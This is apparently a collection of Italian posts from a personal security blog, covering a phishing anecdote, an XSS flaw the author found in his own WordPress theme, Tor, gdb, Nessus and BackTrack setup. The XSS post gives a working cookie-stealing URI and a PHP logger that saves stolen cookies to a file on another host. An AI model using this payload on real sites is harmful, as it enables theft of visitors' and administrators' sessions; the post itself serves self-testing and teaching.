Ci eri quasi riuscito…. peccato un piccolo particolare: non ho un account venditore!
Spinto dalla curiosità, ho premiato il caro Luigi e sono andato avanti.
Devo dire che la pagina è proprio ben fatta!
Inoltre da una piccola analisi dell’ip del web server ho letto il nome di una grossa azienda ITA: magari il server è stato bucato? Direi proprio di si. Proprio una pessima figura!
Non vi dico cosa ho scritto sulla password :-)
Da oggi è presente nel mio sito la sezione books.
Una raccolta personale di libri che trattano di sicurezza informatica e networking.
Vi invito a dargli un’occhiata e allo stesso tempo di segnalarmene qualcuno che ritenete essere un must!
A presto.
Finalmente posso dire che sono OPST!
Per chi non lo sapesse l’OPST, OSSTMM Penetration Security Tester è una certificazione professionale per l’esecuzione di test di sicurezza conformi alla metodologia OSSTMM, Open Source Security Methodology Manual, pubblicata dall’ISECOM, Institute for Security and Open Methodologies, USA.
Il 9 aprile a Roma feci 5 ore (veramente frustrante) di test su macchine remote e oggi finalmente è arrivato il tanto atteso certificato!
Un paio di settimane fa stavo leggendo su internet le notizie quando ad un certo punto la mia attenzione cadde su un particolare caso di attacco XSS cross site scripting su un noto sito. Il portale in questione è di una grossa compagnia e offre un servizio di prenotazione online utilizzato da milioni di utenti tutti i giorni. Proprio per la sua grandezza e importanza mi domandai se anche il mio modesto web site soffrisse di tale vulnerabilità. Non immaginavo minimamente che una piattaforma come WordPress potesse essere bucabile… e invece!
Così quasi per sbaglio inniettai del codice java script all’interno della mia unica form: la funzione search in alto a destra. Un codice molto simile a questo:
<script>alert('Ahi ahi Michele!')</script>
E il risultato fu un “bel” alert, proprio come questo:
Capì immediatamente che il mio sito era vulnerabile!!!
Purtroppo anche il test di blogsecurify confermava questa vulnerabilità:
Così iniziai a googlare in giro per capire se altre persone con WordPress soffrissero di tale vulnerabilità. Mi accorsi che il problema era già stato affrontato in passato con le vecchie versioni 2.5 e precedenti, mentre io montavo l’ultima la 2.7.1!
A questo punto pensai che probabilmente durante un aggiornamento automatico dalla 2.7 alla 2.7.1 mi ero beccato un bel worm. Insomma avevo aggiornato una fake WordPress. In effetti un mese fa girava voce di questo finto aggiornamento di WordPress. Inoltre, ad ogni login, notavo uno strano banner nel pannello di controllo che mi diceva di aggiornare la piattaforma quando in realtà già avevo updato tutto alla 2.7.1:
Decisi allora di rinstallare WordPress 2.7.1 scaricata dal sito ufficiale, su un mio sotto-dominio http://test.manzotti.eu/wordpress con tutti i contenuti e i plugin in modo da cercare di capire se si trattasse veramente di una fake WordPress. Ma non ebbi i risultati aspettati. Anche la nuova fiammante WordPress 2.7.1 soffriva di tale vulnerabilità.
Visto che ero l’unico a soffrirne dedusi che il problema non era tanto nella piattaforma WordPress quanto nel template o i plugin che avevo caricato.
La prima cosa che mi venne in mente a questo punto fu quella di capire dove la funzione search venisse richiamata all’interno dei file php presenti nel mio ftp. Visto che non avevo nessun plugin che mi modificava gli input o i risultati di tale funzione, l’osservazione ricadde proprio nel template. Così diedi uno sguardo al file search.php del template e mi accorsi che proprio nelle prime righe si trovava un echo incontrollato che exploitava il mio sito:
[...]""<?php echo $s; ?>"[...]
Mandai immediatamente un email di notifica allo “sviluppatore” di questo template dicendogli di fixare il codice. Finora non ho ricevuto risposta. Tra l’altro mi accorsi che anche il suo sito sul qualche hostava i template era vulnerabile al XSS cross site scripting. Da questo capì perchè ancora non ho avuto risposta alla email di notifica.
Fissato il template, a questo punto mi domandai cosa realmente potesse fare un attaccante sul mio sito. Come potesse sfruttare questo buco. Mi documentai un pò e giunsi alla conclusione che tramite il XSS cross site scripting è possibile rubare i cookie di chi visita il sito, anche quelli dell’amministratore! Decisi allora di provare questa tecnica.
La teoria è semplice: si hosta una pagina php che lavora come una sorta di keylogger dei cookie. Successivamente si rindirizza l’amministratore su un link che punta al suo sito ma ignaro di tutto gli vengono sottratti i cookie.
Magari con questo caso di studio è possibile capire meglio il funzionamento. Il nostro scenario sarà di questo tipo:
http://test.manzotti.eu --> sito vulnerabile http://manzotti.eu --> sito dell'attaccante
La nostra pagina php che farà da keylogger sfruttando appunto la vulnerabilità XSS sarà come la seguente:
<?php $filename = "cookie.txt"; $handle = fopen($filename, 'a'); fwrite($handle, "\r\n" . $_GET["cookie"]); fclose($handle); Header( "Location: http://test.manzotti.eu/wordpress" ); ?>
Questo file essenzialmente eseguirà una interrogazione al browser dell’amministratore sottraendogli i cookie e successivamente scrivendoli in file cookie.txt. Infine reindirizzerà l’utente sul proprio sito. Dunque con il nostro scenario, su http://manzotti.eu avremo sia la pagina php caricata che i cookie rubati. Ora non ci resta che creare un URI ad hoc in modo che sfrutti la XSS e richiami la pagina cookie.php presente nel sito dell’attaccante. In questo modo all’amministratore verranno rubati i cookie. L’URI in questione è la seguente:
http://test.manzotti.eu/wordpress/?s=<script>location.href='http://manzotti.eu/cookie.php?cookie= '%2Bescape(document.cookie)</script>
Credo che non ci sia bisogno di spiegazione, tuttavia si vede che sfruttando la “s” della funzione search si rinderizza l’utente sul sito dell’attaccante passandogli come parametro i suoi cookie. Infine sarà la pagina cookie.php stessa a riportare l’utente sul sito vittima: http://test.manzotti.eu.
A questo punto l’attaccante potrà godersi lo spettacolo e controllare che i cookie dell’amministratore vengano registrati nel txt appena creato:
Ovviamente sarà necessario da parte dell’attaccante convincere o utilizzare altre tecniche note per far si che la vittima passi attraverso la URI contraffatta.
C’è da dire anche che WordPress autentica all’interno del pannello di controllo solamente tramite un cookie della forma:
Name: wordpress_1a2b4c5d6e7f89...abc Content: admin%1a2b3c4d5...abc Host: test.manzotti.eu Path: /wordpress/wp-admin
Di conseguenza i cookie che siamo riusciti a raccogliere precedentemente non permettono una autenticazione all’interno di questo CMS. Tuttavia questo vale per il caso specifico di WordPress e nulla vieta che in presenza di altri CMS o siti vulnerabili non otterremo i cookie giusti. Infatti la tecnica del XSS Cross Site Scripting è oggi una delle più utilizzate e insieme all’ SQL Injection costituiscono la base per effettuare attacchi di grossa rilevanza.
Vorrei aggiungere anche che non ho avuto modo di approfondire in maniera più dettagliata la questione. Quindi dalla mia dico che WordPress in questo caso si è dimostrato “sicuro”.
Mi piacerebbe sapere se qualcuno ha avuto esperienze simili e dunque spiegarmi se fosse realmente possibile raccogliere quel tipo di cookie che ho appena descritto.
In questo caso vi invito a commentare e/o contattarmi via email.
Vediamo come installare il Tor su BT4, strumento utile per la navigazione anonima sul web.
Perchè tutto funzioni avremo bisogno di:
- Tor, il demone;
- Privoxy, un proxy locale a cui collegarci;
- TorButton, un addons di Firefox per collegare il nostro browser.
Dunque apriamo una shell e digitiamo:
# apt-get install torIn questo modo installeremo anche Privoxy, poichè risulta essere una dipendenza del pacchetto Tor.
Dunque, non ci resta che installare l’addons di Firefox presente qui.
Bene, ora che abbiamo tutti i pacchetti necessari, facciamo un minimo di configurazione. In particolare modifichiamo il file di conf di Privoxy presente nel percorso “/etc/privoxy/config” proprio come il seguente:
# Generally, this file goes in /etc/privoxy/config # # Tor listens as a SOCKS4a proxy here: forward-socks4a / 127.0.0.1:9050 . confdir /etc/privoxy logdir /var/log/privoxy actionsfile standard # Internal purpose, recommended actionsfile default # Main actions file actionsfile user # User customizations filterfile default.filter # Don't log interesting things, only startup messages, warnings and errors #logfile logfile #jarfile jarfile #debug 0 # show each GET/POST/CONNECT request debug 4096 # Startup banner and warnings debug 8192 # Errors - *we highly recommended enabling this* user-manual /usr/share/doc/privoxy/user-manual listen-address 127.0.0.1:8118 toggle 1 enable-remote-toggle 0 enable-edit-actions 0 enable-remote-http-toggle 0 buffer-limit 4096
Riavviamo i servizi e Firefox:
# /etc/init.d/tor start Raising maximum number of filedescriptors (ulimit -n) to 32768. Starting tor daemon: tor... Mar 27 19:31:23.179 [notice] Tor v0.2.0.31 (r16744). This is experimental software. Do not rely on it for strong anonymity. (Running on Linux i686) Mar 27 19:31:23.180 [notice] Initialized libevent version 1.3e using method epoll. Good. Mar 27 19:31:23.181 [notice] Opening Socks listener on 127.0.0.1:9050 done. # /etc/init.d/privoxy start Starting filtering proxy server: privoxy.
A questo punto abilitiamo l’addons di Firefox e controlliamo che il tutto funzioni collegandoci a questo link.
Se vi ritorna una scritta verde indicando che il Tor è abilitato allora funziona, altrimenti provate a seguire la guida ufficiale qui.
Buona navigazione!
Con questo articolo diamo un’occhiata a quelle che sono le principali tecniche di debugging in ambito unix per capire meglio il funzionamento del linguaggio assembly.
Due sono i principali strumenti impiegati per questo genere di operazioni:
- Objdump è un tool che viene utilizzato per esaminare i file binari compilati
- Gdb è un debugger per seguire passo-passo il flusso dei programmi compilati
Tramite questi programmi è facile interrogare i registri presenti nella CPU per visualizzarne il contenuto e capire come viene allocata la memoria. Nel nostro esempio ho adottato una classica architettura Intel i386, presente nella maggior parte dei pc. In questo ambiente i principali registri con i quali la CPU lavora sono i seguenti:
EAX: accumulatore ECX: contatore EDX: dati EBX: base EIP: puntatore alla istruzione successiva ESP: puntatore della fine dello stack EBP: puntatore al frame corrente SPF: riporta EBP al valore precedente ESI: indice di origine EDI: indice di destinazione
Per effettuare le interrogazioni adotteremo il comando x, che sta appunto per examine, specificando anche come visualizzare l’output del registro esaminato:
x/x = esamina in esadecimale x/o = esamina in ottale x/u = esamina in decimale senza segno x/d = esamina in decimale x/s = esamina in stringa x/i = esamina un istruzione
Inoltre digitando un numero subito dopo lo slash è possibile specificare quanti byte interrogare. Ricordo che ogni lettera ASCII corrisponde ad un byte (ad esempio la lettera “A” corrisponde 0×41 scritto in esadecimale).
Analizziamo ora il nostro primo programma in C firstprog.c:
#include int main() { int i; for (i=0; i < 10; i++) { printf("Hello, world!\n"); } return 0; }
Questo programma non fa altro che stampare 10 volte di seguito la stringa “Hello world”. Tale codice anche se risulta molto semplice e banale, è tuttavia utile a capire in prima battuta il funzionamento dell’assembly. Procediamo dunque con la compilazione:
# gcc -g firstprog.c -o firstprogOra che abbiamo l’eseguibile passiamo all’analisi con gdb:
# gdb -q ./firstprog (gdb) set dis intel (gdb) list 1 #include 2 3 int main() 4 { 5 int i; 6 for (i=0; i < 10; i++) 7 { 8 printf("Hello, world!\n"); 9 } 10 return 0; (gdb)
Con l’opzione -q evitiamo di stampare banner inutili, mentre con l’opzione set dis intel abbiamo un output dell’assembly molto più leggibile.
Proseguiamo disassemblando il main e dando una prima occhiata alla locazione della memoria:
(gdb) disassemble main Dump of assembler code for function main: 0x080483c4 : lea ecx,[esp+0x4] 0x080483c8 : and esp,0xfffffff0 0x080483cb : push DWORD PTR [ecx-0x4] 0x080483ce : push ebp 0x080483cf : mov ebp,esp 0x080483d1 : push ecx 0x080483d2 : sub esp,0x14 0x080483d5 : mov DWORD PTR [ebp-0x8],0x0 0x080483dc : jmp 0x80483ee 0x080483de : mov DWORD PTR [esp],0x80484d0 0x080483e5 : call 0x80482f4 0x080483ea : add DWORD PTR [ebp-0x8],0x1 0x080483ee : cmp DWORD PTR [ebp-0x8],0x9 0x080483f2 : jle 0x80483de 0x080483f4 : mov eax,0x0 0x080483f9 : add esp,0x14 0x080483fc : pop ecx 0x080483fd : pop ebp 0x080483fe : lea esp,[ecx-0x4] 0x08048401 : ret End of assembler dump.
Questo output ci mostra la traduzione della funzione main del nostro programma in assembly. Ad un primo sguardo è possibile capire la sintassi: locazione della memoria in esadecimale: operatore registro destinazione, registro d’origine. Tuttavia in questo momento nessun registro risulta visualizzabile, proprio perchè ancora il programma non è stato effettivamente lanciato. Poniamo dunque break al main, lanciamo l’eseguibile e analizziamo i registri:
(gdb) break main: Breakpoint 1 at 0x80483d5: file firstprog.c, line 6. (gdb) run Starting program: ./firstprog Breakpoint 1, main () at firstprog.c:6 6 for (i=0; i < 10; i++) (gdb) i r eax 0xbfe3fc04 -1075577852 ecx 0xbfe3fb80 -1075577984 edx 0x1 1 ebx 0xb800bff4 -1207910412 esp 0xbfe3fb50 0xbfe3fb50 ebp 0xbfe3fb68 0xbfe3fb68 esi 0x8048420 134513696 edi 0x8048310 134513424 eip 0x80483d5 0x80483d5 eflags 0x200286 [ PF SF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) i r eip eip 0x80483d5 0x80483d5
In particolare analizziamo il registro l’eip, il quale punta alla prossima istruzione da eseguire, analizzando la memoria sulla quale sta puntando. Entrambi i comandi mostrano lo stesso output proprio perchè effettivamente stiamo effettuando la stessa richiesta.
(gdb) x/x 0x80483d5 0x80483d5 : 0x00f845c7 (gdb) x/x $eip 0x80483d5 : 0x00f845c7 (gdb) x/i $eip 0x80483d5 : mov DWORD PTR [ebp-0x8],0x0
Inoltre aggiugendo il numero 6 prima della i di instruction possiamo vedere le 6 successive istruzioni.
(gdb) x/6i $eip 0x80483d5 : mov DWORD PTR [ebp-0x8],0x0 0x80483dc : jmp 0x80483ee 0x80483de : mov DWORD PTR [esp],0x80484d0 0x80483e5 : call 0x80482f4 0x80483ea : add DWORD PTR [ebp-0x8],0x1 0x80483ee : cmp DWORD PTR [ebp-0x8],0x9
A questo punto si vede come al registro puntato di eip c’è una “DWORD PTR [ebp-0x8],0×0“. Tale operazione significa che il valore zero viene allocato alla locazione ebp – 8 ossia 0xbfff7d10 che al momento contiene 0xb7febf50:
(gdb) i r ebp ebp 0xbfff7d18 0xbfff7d18 (gdb) x/x $ebp - 8 0xbfff7d10: 0xb7febf50
Nella successiva locazione di memoria, ossia all’indirizzo 0x80483dc è presente un salto incondizionato jmp alla locazione 0x80483ee. Verifichiamo, proseguendo di una istruzione nexti, che l’eip successivo sia proprio quello:
(gdb) nexti 0x080483dc 6 for (i=0; i < 10; i++) (gdb) i r eip eip 0x80483dc 0x80483dc (gdb) x/i $eip 0x80483dc : jmp 0x80483ee
Infatti, ora l’eip contiene un salto incondizionato jmp.
Guardiamo adesso le successive 10 istruzioni:
(gdb) x/10i $eip 0x80483dc : jmp 0x80483ee 0x80483de : mov DWORD PTR [esp],0x80484d0 0x80483e5 : call 0x80482f4 0x80483ea : add DWORD PTR [ebp-0x8],0x1 0x80483ee : cmp DWORD PTR [ebp-0x8],0x9 0x80483f2 : jle 0x80483de 0x80483f4 : mov eax,0x0 0x80483f9 : add esp,0x14 0x80483fc : pop ecx 0x80483fd : pop ebp
Da questo listato si vede non troppo facilmente per i newbe come viene effettuato il ciclo for.
Inizialmente viene fatto un salto incondizionato sulla locazione 0x80483ee, nella quale viene effettuata una compare cmp, la quale dice che se il il numero presente alla locazione ebp – 8, dove precedentemente era stato inizializzato 0, è minore o uguale di 9 allora esegue l’istruzione successiva jle che risulta essere apppunto un salto condizionato, proprio per via della compare, all’istruzione 0x80483de. Siccome risulta vera, 0 è minore o uguale di 9, rinizia il ciclo.
Nel momento in cui risulterà falsa, ossia ebp – 8 vale 10, allora non effettuerà il salto e continuerà con l’istruzione successiva.
Ora controlliamo proprio che ebp – 8 sia 0 e che quindi jle faccia il salto condizionato
(gdb) x/i $ebp - 8 0xbfff7d10: add BYTE PTR [eax],al (gdb) x/x 0xbfff7d10 0xbfff7d10: 0x00000000 (gdb) x/d 0xbfff7d10 0xbfff7d10: 0 (gdb) print $ebp - 8 $2 = (void *) 0xbfff7d10 (gdb) x/x $2 0xbfff7d10: 0x00000000 (gdb) x/d $2 0xbfff7d10: 0
Sia con il metodo print che analizzando con x/x direttamente sulla locazione di memoria, che con x/d lo visualizziamo in decimale, controlliamo che ha valore 0 e che quindi il jle ha condizione positiva per effettuare il salto.
Ora invece cerchiamo di capire cosa fanno le altre operazioni. Analizzando la locazione 0x80483de è presente un’istruzione che essenzialmente muove il valore dell’indirizzo 0x80484d0 nell’indirizzo esp. Verifichiamo quindi cosa contiene l’indirizzo 0x80484d0:
(gdb) x/x 0x80484d0 0x80484d0: 0x6c6c6548 (gdb) x/6cb 0x80484d0 0x80484d0: 72 'H' 101 'e' 108 'l' 108 'l' 111 'o' 44 ',' (gdb) x/s 0x80484d0 0x80484d0: "Hello, world!"
Notiamo che contiene il valore 0x6c6c6548 che codificato in ASCII corrisponde ad “Hello,” infatti tramite l’opzione c effettua la codifica di ogni singolo byte in ASCII mentre con s converte proprio tutta la stringa.
Per ultimo l’istruzione alla locazione 0x80483ea non fa altro che incrementare di uno il valore all’interno di ebp – 8, la quale poi viene poi controllata dal salto condizionato.
Giusto per completare il discorso, procediamo con diversi nexti fino alla fine del del ciclo for ossia quando l’ebp – 8 contiene il valore 10. Infine controlliamo che l’eip punta all’uscita del ciclo:
(gdb) x/d 0xbfff7d10 0xbfff7d10: 10 (gdb) i r eip eip 0x80483ee 0x80483ee (gdb) x/10i $eip 0x80483ee : cmp DWORD PTR [ebp-0x8],0x9 0x80483f2 : jle 0x80483de 0x80483f4 : mov eax,0x0 0x80483f9 : add esp,0x14 0x80483fc : pop ecx 0x80483fd : pop ebp 0x80483fe : lea esp,[ecx-0x4] 0x8048401 : ret 0x8048402: nop 0x8048403: nop (gdb) nexti 0x080483f2 6 for (i=0; i < 10; i++) (gdb) i r eip eip 0x80483f2 0x80483f2 (gdb) nexti 10 return 0; (gdb) i r eip eip 0x80483f4 0x80483f4
Possiamo vedere dall’output come appunto l’eip punta 0x80483f4 e non più 0x80483de come nei precedenti casi, confermando appunto l’uscita dal ciclo for.
Bene ora che abbiamo appreso i concetti base del debugging immaginate cosa potrebbe capitare se un attaccante riesca a sovrascrivere l‘eip facendolo puntare ad una locazione di memoria arbitraria a lui congeniale!
Buon degugging a tutti.
Potrebbe essere necessario nelle varie configurazioni di dover montare sul proprio hd delle macchine remote con samba.
Ad esempio personalmente ho avuto la necessità di farlo per poter utilizzare delle macchine remote con VMware. Quindi per caricare la macchina è necessario dargli il file vmx che appunto risiede nel file system remoto.
Per far questo ho dovuto quindi montarlo tramite il comando:
# mkdir /mnt/samba # mount -t smbfs -o username=xxxx,password=yyyy //z.z.z.z/directory_condivisa /mnt/samba/
Per renderlo eseguibile ad ogni avvio della macchina, evitando così di scriverlo ogni volta, basta semplicemente aggiungere in /etc/fstab la seguente riga:
//z.z.z.z/mldonkey /mnt/samba smbfs username=xxxxx,password=yyyy 0 0
Inoltre non dimentichiamoci di aprire la 445 del nostro firewall.
Se abbiamo pf basta semplicemente aggiungere la seguente regola:
pass in quick on $int inet proto tcp from $my_net to any port $smb flags S/SA keep state
Dove $int è l’interfaccia di rete, fxp0 nel mio caso, $my_net è la mai rete dalla quale voglio che sia possibile passare mentre $smb è appunto la porta.
Ora che BackTrack 4 è basata su Ubuntu, installare pacchetti aggiuntivi è un’operazione facile e veloce. Vediamo come installare Nessus.
Dapprima è necessario collegarsi a nessus.org ed effettuare la registrazione; dopo di che scarichiamo i due pacchetti .deb:
- Nessus-3.2.1-ubuntu804_i386.deb
- NessusClient-3.2.1.1-ubuntu804.i386.deb
Rispettivamente il server e il client dell’applicazione.
Prima di installarli però controlliamo di avere i seguenti pacchetti. Nel dubbio, procediamo comunque con apt:
# apt-get install libqt4-core libqt4-gui libqtcore4 libqt4-network libqt4-script libqt4-xml libqt4-dbus libqt4-test libqtgui4 libqt4-svg libqt4-opengl libqt4-designer libqt4-assistantOra installiamo i due pacchetti precedentemente scaricati:
# dpkg --install Nessus-3.2.1-ubuntu804_i386.deb # dpkg --install NessusClient-3.2.1.1-ubuntu804.i386.deb
Una volta terminate le installazioni, sulla macchina server procediamo alla creazione del certificato e dell’utente che effettuarà l’accesso:
# /opt/nessus/sbin/nessus-mkcert # /opt/nessus/sbin/nessus-adduser
Durante la creazione del certificato, andrà benissimo utilizzare le opzioni di default segnalate.
A questo punto non ci rimane che registrare il prodotto per poter aggiornare i plugin di Nessus. Vi sono due alternative: la versione a pagamento (circa $1,200) oppure quella free.
Una volta ottenuta la chiave possiamo registrare Nessus tramite il comando:
# /opt/nessus/bin/nessus-fetch --register [chiave]Se tutto è andato a buon fine, possiamo lanciare l’applicazione:
# /etc/init.d/nessusd start # /opt/nessus/bin/NessusClient
L’interfaccia che ci troviamo di fronte risulta essere semplice e intuitiva. Cliccando su “connect” e successivamente su “edit” possiamo definire l’hostname, la porta (di solito la 1241) l’username e la password con i quali accedere al server. Effettuata la connessione, nella parte sinistra possiamo definire il target (range o ip singolo) da scansire mentre in quella destra definiamo la politica della scansione (come le opzioni, i plugin ecc..).
Infine per aggiornare i plugin alle ultime versioni disponibili, basta semplicemente digitare:
# /opt/nessus/sbin/nessus-update-plugins -vBuona scansione a tutti.
Riferimenti pdf_install pdf_configure
Vediamo come installare la nostra BT4 beta sull’ HD.
Avviamo il dvd e dopo aver caricato la tastiera italiana “loadkeys it” prepariamo l’HD per l’installazione creando 3 partizione primarie:
/dev/sda1 --> /boot /dev/sda2 --> swap /dev/sda3 --> /
Ovviamente lo spazio dipende da quanto abbiamo libero nel nostro hd. Tuttavia 128M, 1024M e 10G rispettivamente dovrebbe andare.
Possiamo fare questo sia con “fdisk /dev/sda” che con “cfdisk“, ricordandoci di mettere il type 82 allo swap e il bootable alla /boot.
Ora non ci resta che seguire questi comandi:
root@bt:~# mke2fs /dev/sda1 root@bt:~# mkswap /dev/sda2 root@bt:~# swapon /dev/sda2 root@bt:~# mkreiserfs /dev/sda3 root@bt:~# mkdir /mnt/bt root@bt:~# mount /dev/sda3 /mnt/bt/ root@bt:~# mkdir /mnt/bt/boot root@bt:~# mount /dev/sda1 /mnt/bt/boot root@bt:~# cp --preserve -R /{bin,dev,home,pentest,root,usr,boot,etc,lib,opt,sbin,var} /mnt/bt/ root@bt:~# mkdir /mnt/bt/{mnt,tmp,proc,sys} root@bt:~# chmod 1777 /mnt/bt/tmp/ root@bt:~# mount -t proc proc /mnt/bt/proc root@bt:~# mount -o bind /dev /mnt/bt/dev/ root@bt:~# chroot /mnt/bt/ /bin/bash
Configuriamo il boot loader lilo editando il file /etc/lilo.conf come segue:
lba32 boot=/dev/sda root=/dev/sda3 # bitmap=/boot/sarge.bmp # bmp-colors=1,,0,2,,0 # bmp-table=120p,173p,1,15,17 # bmp-timer=254p,432p,1,0,0 # install=bmp # delay=20 prompt timeout=50 # map=/boot/map vga=0x317 image=/boot/vmlinuz label="BT4" read-only initrd=/boot/splash.initrd append=quiet
Facendo bene attenzione alle partizioni di root e di boot.
A questo punto modifichiamo il file /etc/fstab elimando i mount inutili come segue:
/dev/sda3 / reiserfs defaults 0 0 # AutoUpdate /dev/sda2 none swap sw 0 0 proc /proc proc defaults 0 0 # AutoUpdate sysfs /sys sysfs defaults 0 0 # AutoUpdate devpts /dev/pts devpts gid=5,mode=620 0 0 # AutoUpdate tmpfs /dev/shm tmpfs defaults 0 0 # AutoUpdate
Infine salviamo le modifiche di lilo:
root@bt:/# lilo -v
Ora usciamo dal filesytem chrootato e rebootiamo la macchina!!
root@bt:/# exit exit root@bt:~# reboot
Se tutto è andato per il verso giusto avrete la vostra BT4 beta installata e funzionante.
Buon pen testing a tutti.
Riferimenti pdf
Se vi dovesse capitare di installare una vmware server su una macchina windows e dovete poi accedervi da un player esterno: ricordatevi di configurare il firewall!
Il classico errore che compare è il seguente:
Per porre rimedio basta andare nelle impostazioni del firewall e aggiungere un’eccezione indicando la 902 come numero di porta:
Making an fake access point in Windows 7 it’s now really simple. Thanks to the new Wireless Hosted Networks [Read More]
Today 17 March in Italy is national holiday so I have spent my spare time to write a little tool: wpmap.py As you can [Read More]
In the previous tutorial we have seen some technique of buffer overflow, in most cases with the aim to overwrite the [Read More]
After having fully understood the tutorial part 1 let’s go to read the second one. In this tutorial we will see [Read More]
If this is true or not no one knows but it is interesting to have an idea about cyber market. You can read the full [Read More]
Vivo in Germania e per vedere i canali italiani ho dovuto comprare una tvsmart card che ho inserito nel decoder, fino Read the post
Anche grazie ai tuoi appunti sono riuscito a prendere 1000/1000! Read the post
Great stuff!!! I'll try this out in the lab. Keep up the work, many of us are inspired. Hopefully you'll get around to Read the post
Ho acquistato un Telesystem 9010hd e sto impazzendo perchè spesso squadretta e dice che il segnale è troppo basso. Read the post
@pippo: che io sappia è necessario un decoder per ogni televisore. Magari qualcuno è più informato di me e potrebbe Read the post